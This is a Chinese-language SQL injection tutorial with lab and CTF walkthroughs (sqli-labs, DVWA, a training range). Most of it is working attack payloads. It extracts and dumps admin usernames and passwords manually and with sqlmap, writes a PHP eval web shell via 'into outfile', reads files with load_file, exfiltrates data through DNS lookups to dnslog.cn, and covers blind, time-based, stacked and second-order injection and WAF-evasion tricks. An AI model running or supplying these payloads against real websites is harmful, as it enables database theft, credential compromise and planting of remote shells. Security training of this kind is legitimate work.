目录

SQL注入漏洞入门

目录

所谓的SQL注入就是通过某种方式将恶意的SQL代码添加到输入参数中,然后传递到SQL服务器使其解析并执行的一种攻击手法。

  • 需要有一些MySQL基础,需知道:数据库字段数据之间的关系、select查询语句(下面有)、order byandgroup_concat()(下面有)。

  • 在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是schematatablescolumns

    • Schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name
    • Tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schematable_name
    • Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schematable_namecolumns_name
  • MySQL的查询语句是SELECT * FROM 表名 WHERE 条件; --- 从某个表查询符合某个条件的所有数据 *可以换成你指定要查询的字段数据。

  • union:MySQL中,union用于将多个select语句的结果组合到一个结果集中,并删除结果集中的重复数据。

  • group_concat():把数据分组连接(大概这么解释)。

  • order by 数字把查询的数据按第n个字段排序。

  • Database():查询当前网站使用的数据库。

快速回忆MySQL增删改查和常见函数

  1. 找到网站交互点:地址栏、搜索框、表单
    • 地址栏:某个界面的地址栏URL格式类似为http://xxxxxxx?id=数字则符合要求。
  2. id=数字后面加单引号'或双引号"、等看看是否报错,如果报错就可能存在 SQL注入漏洞。
  3. 判断是 “数字型” 还是 “字符型” 以及 是否存在SQL漏洞
    • id=数字后面加上 and 1=1页面显示正常,换成 and 1=2页面显示错误,说明 一定存在SQL注入 且为 “数学型”
    • id=数字后面加上 ' and 1=1 #页面显示正常,换成 ' and 1=2 #页面显示错误,说明 一定存在SQL注入 且为 “字符型”
    • 如果都显示不正常说明不存在SQL注入漏洞(当有可能是其他情况,由于本篇只讲基础故当做不存在)。

如果为“字符型”,后文提到的代码都要在代码前面加上'、后面加上#

原因:union前面的查询语句的字段数量和后面的查询语句字段数量要一致

id=数字后加上order by 数字id=数字 order by 数字

如果是字符型则为id=数字' order by 数学#

意思是把查询的数据按第n个字段排序,如果页面上的字段大于n则会显示错误。

所以一开始可以随便order by一个数字,如果显示错误就减小数字,如果正常显示就增大数字。

直到你order by n能正常显示order by n+1就显示错误 ,说明n就是这个页面的字段数。

ps:善用二分法。

对于一个网页,如果它的字段数是3,但可能只有第1,2字段的数据返回页面前端。所以我们需要查询哪个字段会回显,得用union select 联合查询来查看字段在前端的回显位置

id=数字 and 1=2 union select 1,2
---或者
id=不存在的数字 union select 1,2,3

and 1=2或者id=不存在的数字:使前一句的SQL语句为错误

不存在的数字:假如一个网页有id=1的页面和id=2的页面,改成id=-1(除了1和2的其他数字都行),就没有相对应的页面显示;and 1=2也是同理。

之所以让前半句出错是因为程序在展示数据的时候通常只会取结果集的第一行数据,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

union select 1,2,3:联合查询,让第一个字段显示“1”、第二个字段显示“2”、第三个字段显示“3”,从而来找可以回显的字段在页面的位置

在得到字段数之后就可以查询数据库名。

查询数据库名的函数是database()

假设我们已经找到某个可回显字段的位置(比如显示“2”的字段),记住这个字段位置,在地址栏输入:

http://xxxxxxx?id=1 and 1=2 union select 1,database(),3
http://xxxxxxx?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "目标数据库名"
  • 在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库。

  • information_schema数据库里有个tables表。

  • tables表里有table_schematable_name字段。

  • table_schema字段存的是网站管理员创建的所有数据库的库名。

  • table_name字段存的是网站管理员创建的所有数据库的表名。

这句代码的意思是从information_schema数据库里的tables表里找table_schema字段里的数据为 目标数据库名 所对应的table_name字段里的数据,即查询 目标数据库名内的所有表名

group_concat(table_name):将查询到的表名用,连起来。

http://xxxxxxx?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "目标表名"
http://xxxxxxx?id=1 and 1=2 union select 1,group_concat(目标字段名),3 from 目标表名

如果要一次性查询多个字段内的数据:

http://xxxxxxx?id=1 and 1=2 union select 1,group_concat(字段名1,";",字段名2,";",字段名3),3 from 目标表名

;用来分隔多个字段名内的数据

这是一个SQL注入的靶场,目标是找到“flag”

首先我们要去找到交互点,这个界面的交互点只有最上面的地址栏,但没有类似http://xxxxxxx?id=数字,没法做SQL注入。

所以要先找到地址栏有类似于id=数字这样的界面

可以看到这里有个查看新闻的按钮

点进去之后看到地址栏出现了我们期待的?id=1,接下来就是测试这个交互点(地址栏)是否存在SQL注入了!

上文有提到SQL注入的流程,首先我们在1后面加个 ,即http://pu2lh35s.ia.aqlab.cn/?id=1',访问后发现页面出错了(内容没了)

https://pic1.imgdb.cn/item/646f136cf024cca173615e4b.jpg

接着我们再试试在后面加上 and 1=1,即http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1,可以看到页面照常显示

https://pic1.imgdb.cn/item/646f1403f024cca1736267a4.jpg

到这里就说明了地址栏这个交互点存在SQL注入

接着是判断页面有几个字段

地址栏输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 2

回车后页面正常显示:

https://pic1.imgdb.cn/item/646f6c1df024cca173f09157.jpg

地址栏输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3

回车后页面显示错误:

https://pic1.imgdb.cn/item/646f6cf9f024cca173f1de97.jpg

由此可以断定当前页面有2个回显字段

接下来是通过联合查询查看字段在前端的回显位置

地址栏输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,2

回车后页面显示:

https://pic1.imgdb.cn/item/646f6da2f024cca173f2cd65.jpg

说明圈起来的那个字段是可利用的回显字段

接下来是利用这个字段来查询当前页面的数据库名

1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()

回车后的页面:

https://pic1.imgdb.cn/item/646f6e8bf024cca173f44560.jpg

得到了数据库名 maoshe

接下来是查询数据库 maoshe里有哪些表名

地址栏输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema = "maoshe"

回车后的页面:

https://pic1.imgdb.cn/item/646f6f66f024cca173f5942c.jpg

得到了 maoshe 数据库下的所有表名: admin,dirs,news,xss

根据经验,admin表(admin意思是管理员)里肯定有“好东西”

当然,可以每个表都查一遍

现在来查询admin表里有哪些字段

地址栏里输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name = "admin"

回车后的页面:

https://pic1.imgdb.cn/item/646f70c3f024cca173f7ac96.jpg

得到了 admin表下的所有字段名: Id,username,password

根据经验,password字段和username字段里肯定有“好东西”(username意思是用户名、password意思是密码)

当然,也可以去看看其他的字段里存什么数据

现在来查询password字段和username字段里有啥数据

地址栏里输入:

1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(username) from admin
1
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(password) from admin

回车后的页面:

https://pic1.imgdb.cn/item/646f730df024cca173fb5863.jpg

https://pic1.imgdb.cn/item/646f738cf024cca173fc34a4.jpg

获取到了usernameadminpasswordhellohack,zkaqbanban

hellohack拿去提交。

首先还是得先找到地址栏(URL)类似为:http://xxxxxxx?id=数字的页面

点击查看新闻的按钮

https://pic1.imgdb.cn/item/646f11ecf024cca1735e3427.jpg

点完之后的URL为:http://pu2lh35s.ia.aqlab.cn/?id=1,符合要求

https://pic1.imgdb.cn/item/646f1268f024cca1735f35ba.jpg

打开sqlmap,输入:

1
python sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" --dbs

这一步是扫出网站数据库名

结果如下:

https://pic1.imgdb.cn/item/6472b97ff024cca17306c56f.jpg

从sqlmap扫到的数据库名来看我们得到了三个数据库名:

  • information_schema
  • maoshe
  • test

文章开头提到的,在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库

test数据库是MySQL系统默认安装时自带的一个数据库名,它通常用于进行测试和示例目的,而不是用于实际的生产环境

于是我们得到了网站的数据库名为: maoshe

1
sqlmap.py -u "http://xxxxxxx?id=1" --current-db

可以直接输出网站当前数据库,当时我不知道 ╥﹏╥

接下来要去扫maoshe数据库下的表名,输入:

1
python sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe --tables

结果如下:

https://pic1.imgdb.cn/item/6472bd3df024cca1730a7469.jpg

从sqlmap扫到的数据库名来看我们得到了四个数据表名:

  • admin
  • dirs
  • news
  • xss

接下来是查询admin表下有哪些字段名,输入:

1
python sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns

结果如下:

https://pic1.imgdb.cn/item/6472c186f024cca17310f399.jpg

从sqlmap扫到的字段(列)名来看我们得到了四个字段名:

  • Id
  • username
  • password

接下来是查询password字段里存放的数据,输入:

1
python sqlmap.py -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D maoshe -T admin -C password --dump

结果如下:

https://pic1.imgdb.cn/item/6472c1e9f024cca1731152a3.jpg

sqlmap扫到password字段里存放的数据为:

hellohack zkaqbanban

MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在 mysql 数据库中,mysql 库中存在4个控制权限的表:user 表,db 表,tables_priv 表,columns_priv 表。

  • User 表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
  • Db 表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
  • Tables_priv 表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
  • Columns_priv 表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
  • Procs_priv 表:存放存储过程和函数级别的权限
  • 全局性的管理权限: 作用于整个 MySQL 实例级别
  • 数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上
  • 数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象
  1. 从 user 表中的 Host, User, Password 这3个字段中判断连接的 ip、用户名、密码是否存在,存在则通过验证
  2. 通过身份认证后,进行权限分配
  3. 按照 user,db,tables_priv,columns_priv 的顺序进行验证
  4. 先检查全局权限表 user,如果 user 中对应的权限为 Y,则此用户对所有数据库的权限都为 Y,将不再检查 db、tables_priv、columns_priv
  5. 如果为 N,则到 db 表中检查此用户对应的具体数据库并得到 db 中为 Y 的权限
  6. 如果 db 中为 N,则检查 tables_priv 中此数据库对应的具体表,取得表中的权限 Y,以此类推
1
select user, host from mysql.user;

1
select * from user where user='root' and host='localhost'\G;  #如果所有权限都是 Y ,就是什么权限都有

有两种方式创建 MySQL 授权用户

1
2
3
4
#执行 create user/grant 命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';

#通过 insert 语句直接操作 MySQL 系统权限表

1
grant select(id) on test.temp to test1@'localhost' identified by '123456';

1
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

1
drop user finley@'localhost';

注入流程与正常的手工注入流程差不多

https://pic.imgdb.cn/item/64c1e59c1ddac507cc84eff2.jpg

1
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata

https://pic.imgdb.cn/item/64c1e6af1ddac507cc867e76.jpg

1
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(table_name),3 from%20information_schema.tables where table_schema=test

https://pic.imgdb.cn/item/64c1e6bf1ddac507cc8695d7.jpg

1
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=t1

https://pic.imgdb.cn/item/64c1e6d01ddac507cc86a965.jpg

1
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,name,pass from test.t1

利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

高版本的 MySQL 添加了一个新的特性:secure_file_priv 系统变量,该变量限制了 MySQL 导出文件的权限。

  • Linux:cat etc/conf
  • Windows:www/mysql/my.ini

(在 MySQL 数据库中输入)

1
show global variables like '%secure%';

1、读写文件需要 secure_file_priv 权限

  • secure_file_priv='':代表对文件读写没有限制
  • secure_file_priv=NULL:代表不能进行文件读写
  • secure_file_priv=d:/phpstudy/mysql/data:代表只能对该路径下文件进行读写

在 MySQL 5.5 之前 secure_file_priv 默认为空 在 MySQL 5.5 之后 secure_file_priv 默认为 NULL

2、知道网站绝对路径

Windows 常见的绝对路径:

  • phpstudy: phpstudy/www phpstudy/PHPTutorial/www
  • Xampp: xampp/htdocs
  • Wamp: wamp/www
  • Appser: appser/www

Linux 常见的绝对路径:

  • /var/mysql/data
  • /var/www/html

路径获取常见方式:

  • 报错显示
  • 遗留文件
  • 漏洞报错
  • 平台配置文件等

使用函数:load_file()

后面的路径可以是单引号,0x,char 转换的字符。

注意:路径中斜杠是 / 不是 \

一般可以在联合查询中做为一个字段使用,查看 config.php (即 MySQL 的密码),apache 配置…

1
2
#读取路径下的某个文件并返回结果
http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,2,load_file('c:/users/wutongliran/desktop/2.txt') --+

使用函数:

  • into outfile:能写入多行,按格式输出
  • into dumpfile:只能写入一行且没有输出格式

into outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径

1
2
#将木马写入指定位置
http://127.0.0.1/mysql/Less-1/?id=-1' union select 1,'<?php eval($_REQUEST[wtlr]); ?>',3 into outfile 'D://1.php'--+

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。

当打开时,所有的 ‘(单引号),"(双引号),\(反斜线)都会被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。

魔术引号在php.ini文件内找

1
magic_quotes_gpc = On/Off 开启/关闭

做数据类型的过滤

  • is_int()

  • addslashes()

  • mysql_real_escape_string()

    已被弃用

  • mysql_escape_string()

    已被弃用

  • 结构 :http://xxx.com/users.php?id=1
  • SQL 语句原型: select * from 表名 where id=1
  • 爆破:id=1 and 1=1
  • 爆破后的SQL 语句:select * from 表名 where id=1 and 1=1
  • 结构 :http://xxx.com/users.php?name=admin
  • SQL 语句原型大概为:select * from 表名 where name='admin'
  • 爆破:admin' and 1=1 #
  • 爆破后的SQL 语句:select * from 表名 where name='admin' and 1=1 #'
  • 结构 :一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。
  • SQL 语句原型大概为:select * from 表名 where 字段 like '%关键字%'
  • 爆破:关键字%' or 1=1 #
  • 爆破后的SQL 语句:select * from 表名 where 字段 like '%关键字%' or 1=1 #%
  • SQL 语句原型大概为:select * from 表名 where username=('admin')
  • 爆破:'admin') and 1=1 #
  • 爆破后的SQL 语句:select * from 表名 where username=(''admin') and 1=1 #')
  • 常见的闭合符号:' " % ( {

在MySQL高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • updatexml()
  • extractvalue()

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

  • 作用:改变文档中符合条件的节点的值

  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:代表string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

  • updatexml使用时,当xpath_string格式出现错误,MySQL会爆出xpath语法错误(XPATH syntax error)

  • 例如: select * from test where id = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于Xpath语法格式,因此报出Xpath语法错误。

  • 此函数从目标XML中返回包含所查询值的字符串
  • 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
  • select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • ’ union select 1,extractvalue(1,concat(0x7e,(select version())))%23
  • ’ or extractvalue(1,concat(0x7e,database())) or’

  • sleep(n) : 代码执行期间等待 n 秒
  • if(a, b, c) : 如果 a 为真,执行 b;如果 a 为假,执行 c
  • mid(a, b, c) : 从字符串 a 的第 b 位起(从 1 开始算),截取 c 个字符
  • substr(a, b, c) : 从字符串 a 的第 b 位起(从 1 开始算),截取 c 个字符
  • left(a, c) : 从字符串 a 的最左边起,截取 c 个字符
  • length(’s’) : 获取字符串 s 的长度
  • ascii(‘c’) : 获取字符 c 的ascii码

1
if(length(database())=4,sleep(5),sleep(0))

如果数据库名的长度为 4,代码执行期间等待 5 秒;

反之则不延时。

1
if(ascii(substr(database(),1,1)=116),sleep(5),sleep(0))

入果数据库名的前 1 位的字符的ASCII码的值为 116 ,代码执行期间等待 5 秒;

反之则不延时。

https://pic.imgdb.cn/item/64c4e4561ddac507cc81da4d.jpg

  • if(a, b, c) : 如果 a 为真,执行 b;如果 a 为假,执行 c
  • mid(a, b, c) : 从字符串 a 的第 b 位起(从 1 开始算),截取 c 个字符
  • substr(a, b, c) : 从字符串 a 的第 b 位起(从 1 开始算),截取 c 个字符
  • left(a, c) : 从字符串 a 的最左边起,截取 c 个字符
  • length(’s’) : 获取字符串 s 的长度
  • ascii(‘c’) : 获取字符 c 的长度

1
http://127.0.0.1/sql/Less-5/index.php?id=1' and length(database())=8--+ #页面正常

1
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ #页面正常

1
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=114--+ #页面正确

原理:当我们输入域名后,首先会找本地浏览器缓存进行解析,然后会找本地hosts文件进行解析,再找设置好的DNS服务器进行解析,最后找对于的顶级域名服务器进行解析。

前提条件:

1、在my.ini配置文件中添加 secure_file_priv=

2、服务器是windows系统

http://dnslog.cn/

1
select LOAD_FILE(concat('\\\\',(select database()),'.3rrhev.dnslog.cn/abc.txt'))

dvwa-sql-low

1
-1' and (select load_file(concat('\\\\',(select database()),'.sd7g54.dnslog.cn/abc.txt'))) #

mysqli_query — 对数据库执行一次查询

mysqli_multi_query — 执行多次查询

前提条件:需要知道一些数据相关的信息,如表名字段名等

sqli-labs-less38

1
id=1';insert into users(username,password) values('admin','password') --+

第一步:插入恶意数据

第二步:引用恶意数据

sqli-labs-less24

  1. 创建一个 admin'# 的账号
  2. 登录后,修改密码
1
2
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='123456'

Illegal mix of collations for operation 'UNION'

union 联合查询的两个前提条件:

  1. 前后语句查询的字段数要相等
  2. 前后语句对应的字段编码排序规则要相同

解决方法:

  1. 如果是本地环境,可以将本地数据库中的编码排序规则进行修改
  2. 如果是真实环境,可以考虑使用编码
1
-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database() 

以dvwa-sql-medium为例,题目过滤了单引号

1
id=-1 union select user(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

https://pic.imgdb.cn/item/64c5f2481ddac507cc26529e.jpg

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用一点来进行绕过

1
union select ---> unIOn SeLEcT

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等

1
union select 1,2,3# ---> union%0aselect 1\u002c2,3%23

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,可以通过双写来进行绕过

1
2
3
4
5
UNIunionON

SELselectECT

anandd
1
select * from admin where username = \N union select 1,user() from admin
1
union selecte ---> /*!union*/ select
1
2
3
4
5
6
7
8
9
and ---> &&

or ---> ||

=(等于号)=<、>

空格 ---> %09、%0a、%0b、%0c、%0d、%a0等

# %0a是换行,也可以替代空格

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个

1
2
3
?id=1&id=2&id=3

?id=1/**&id=-1%20union%20select%201,2,3%23*/
1
2
3
4
5
order by绕过	%20/*//--/*/  

联合绕过:		union /*!--+/*%0aselect/*!1,2,3*/ --+

from绕过: 	/*!06447%23%0afrom*/